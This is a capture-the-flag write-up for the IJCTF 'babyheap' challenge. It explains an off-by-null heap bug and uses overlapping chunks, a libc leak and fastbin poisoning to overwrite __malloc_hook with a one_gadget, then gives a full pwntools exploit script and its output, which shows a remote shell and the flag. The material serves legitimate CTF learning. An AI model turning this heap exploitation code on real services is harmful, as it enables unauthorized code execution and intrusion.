Select Page

Playing with House of Einherjar!


This is a 620pt PWN challenge.

Binary and libc were given. libc version: libc6_2.23-0ubuntu10_amd64.so.

peilin@PWN:~/ijctf/babyheap$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/us, for GNU/Linux 3.2.0, BuildID[sha1]=314a4838573b90fa089da80902fbf30b6fb29e24, not stripped
peilin@PWN:~/ijctf/babyheap$ ./babyheap
1. malloc
2. free
3. print
4. exit
>

We can allocate, free, and print out notes.

The vulnerable function is create():

unsigned __int64 create()
{
  size_t nbytes; // [rsp+4h] [rbp-41Ch]
  unsigned int v2; // [rsp+Ch] [rbp-414h]
  char buf[1032]; // [rsp+10h] [rbp-410h]
  unsigned __int64 v4; // [rsp+418h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 10;
  for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) )
  {
    if ( !ptrs[HIDWORD(nbytes)] )
    {
      v2 = HIDWORD(nbytes);
      break;
    }
  }
  if ( v2 == 10 )
  {
    puts("no free slots\n");
  }
  else
  {
    printf("\nusing slot %u\n", v2);
    printf("size: ");
    __isoc99_scanf("%u", &nbytes);
    if ( (unsigned int)nbytes <= 0x3FF )
    {
      printf("data: ");
      LODWORD(nbytes) = read(0, buf, (unsigned int)nbytes);
      buf[(unsigned int)nbytes] = 0;
      ptrs[v2] = (char *)malloc((unsigned int)nbytes);
      strcpy(ptrs[v2], buf);
      puts("chunk created\n");
    }
    else
    {
      puts("maximum size exceeded\n");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

buf is an nbytes long char array. Doing buf[nbytes] = 0 on line 31 actually overflows the buffer, causing an off-by-null vulnerability.

The idea is:

  1. Smallbin is a circular doubly-linked list. The first chunk in smallbin contains a libc address. By overflowing one single NULL byte, we can mess up with heap metadata and trick malloc() into creating overlapping chunks. If we managed to overlap an allocated chunk with the first chunk in smallbin, we can simply print that allocated chunk and leak the libc address.
  2. Fastbin is a singly-linked list. Say chunk A is a large allocated chunk, overlapping B, a small free fastbin chunk. By writing to A, we can modify the bk field of B, say, to 0xdeadbeef. Now if we pick B off the fastbin, we can trick malloc() into thinking that the next free chunk in the same fastbin is at 0xdeadbeef. Then we simply allocate another chunk of the same size to pick it off, and voila, we can write anything we want to 0xdeadbeef (actually 0xdeadbeff). To get a shell, we can overwrite __malloc_hook with a one_gadget address.

Here’s my full exp:

from pwn import *
import os

PATCH = False

context.log_level = "DEBUG"

LOCAL = False
DEBUG = False

context.update(arch='amd64', os='linux')

if PATCH:
    os.system("patchelf --set-interpreter /home/user/libc-ld.so/libc-2.23/64bit/ld.so.2 babyheap" )
    os.system("patchelf --set-rpath /home/user/libc-ld.so/libc-2.23/64bit/ babyheap")

e = ELF("./babyheap")
l = ELF("./libc6_2.23-0ubuntu10_amd64.so", checksec=False)

if LOCAL:    
    p = process(['./babyheap'])
else:
    host = "35.186.153.116"
    port = 7001

    p = remote(host, port)
    DEBUG = False

if DEBUG:
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)

def ma(size, data):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("data: ")
    p.send(data)
    
def fr(idx):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def ex():
    p.recvuntil("> ")
    p.sendline("4")

def pr(idx):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("data: ")
    return u64(p.recvline().strip().ljust(8, b'\x00'))

AAA = 0x100 - 0x8         # small chunk
ma(AAA, b'A' * (AAA-1))   # idx 0

BBB = 0x70 - 0x8          # fast chunk (0x70)
ma(BBB, b'B' * (BBB-1))   # idx 1

CCC = 0x100 - 0x8         # small chunk
ma(CCC, b'C' * (CCC-1))   # idx 2

DDD = 0x20 - 0x8          # prevent the above chunks from being consolidated with the wilderness
ma(DDD, b'D' * (DDD-1))   # idx 3

# 1) first, leak the libc address.

# free AAA into small bin (actually unsorted bin...), BBB into fast bin.
fr(0)   # in use: 1, 2, 3
fr(1)   # in use: 2, 3

# now overflow BBB by one byte, changing PREV_IN_USE bit of BBB to 0x00.
ma(BBB, b'B' * BBB)   # idx0. in use: 0, 2, 3
# now AAA is in small bin.

# fake CCC's prev size to 0x170.
for i in range(BBB-3, BBB-9, -1):
    fr(0)   # in use: 2, 3
    ma(BBB, b'B' * i + b'\x70\x01') # idx0. in use: 0, 2, 3

# free CCC.
fr(2) # in use: 0, 3
# since its PREV_IN_USE bit is now 0, prev_size is 0x170, we trick malloc() into
# thinking there's a 0x170 long free chunk before CCC. malloc() consolidate them
# into a huge 0x270 chunk, overlapping BBB. we call it EEE.

# now allocate AAA again to "squeeze" the libc pointer into BBB.
ma(AAA, b'A' * (AAA-1)) # idx1. in use: 0, 1, 3

# nice, now leak it!
libc_leak = pr(0)

libc_base = libc_leak - (0x7fbec44f0b78 - 0x7fbec412c000)
success("libc base address: {}".format(hex(libc_base)))

__malloc_hook = libc_base + l.symbols["__malloc_hook"]
success("__malloc_hook address: {}".format(hex(__malloc_hook)))

# 2) second, write one_gadget address to __malloc_hook, using the unlink trick

# first we need to put BBB into fastbin, we can't free it yet, since we messed up it's 
# sz field: it's now 0x170, change it back to 0x70.

for i in range(AAA+6, AAA-1, -1):
    fr(1)   # in use: 0, 3
    ma(AAA+16, b'A' * i + b'\x70') # idx 1. in use: 0, 1, 3
    
# now it's safe to free BBB.
fr(0)   # in use: 1, 3
# free AAA back to the huge chunk EEE.
fr(1)   # in use: 3

# now allocate a chunk larger than AAA to overwrite BBB's bk! muahahahah...
FFF = AAA + 0x10
ma(FFF, b'F' * (FFF-8) + p64(__malloc_hook - 35)) # idx0, in use: 0, 3
                            # ^^^ why set bk to __malloc_hook - 35? because malloc() will check whether it's sz is
                            # actually 0x70. this means bk + 0x8 must point to 0x000000000000007*. luckily, 
                            # __malloc_hook - 27 points to 0x000000000000007f, and malloc() does not care about the
                            # least significant nibble.

# well again, BBB's sz is messed up. fix it back to 0x70...
for i in range(FFF-10, FFF-17, -1):
    fr(0) # in use: 3
    ma(FFF, b'F' * i + b'\x70') # idx0. in use: 0, 3

# now we are ready to pick off BBB.
ma(BBB, b'B' * (BBB-1)) # idx1. in use: 0, 1, 3

# finally.
# now __malloc_hook - 35 is the first free chunk in fastbin (0x70).
# we simply pick it off, then overwrite __malloc_hook with one of the one_gadget addresses!

one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadget_offset[2]

# note malloc() returns bk + 0x10, which is __malloc_hook - 19.

ma(BBB, b'G'*19 + p64(one_gadget) + b'\x00'*(BBB-28))
                                       # ^^^ these bytes have to be NULL, since we are using
                                       # the third one_gadget. see discussion below.

# trigger __malloc_hook!
ma(5, b"PWN!")
p.interactive()

Things get pretty tricky about the second last malloc(). The third one_gadget requires [rsp + 0x50] to be NULL, which is, luckily, something under our control: See these NULL bytes on line 142? They won’t be copied by strcpy() onto heap, but luckily they will be copied onto stack. Phew!

peilin@PWN:~/ijctf/babyheap$ python3 exp.py
[*] ‘/home/user/ijctf/babyheap/babyheap’
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b’/home/user/libc-ld.so/libc-2.23/64bit/’
[+] Opening connection to 35.186.153.116 on port 7001: Done
[+] libc base address: 0x7f6b57c77000
[+] __malloc_hook address: 0x7f6b5803bb10
[*] Switching to interactive mode
$ ls
babyheap
bin
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
IJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}
$

That’s it! Looking forward to learning more h34p0v3rfl0w techniques in the future.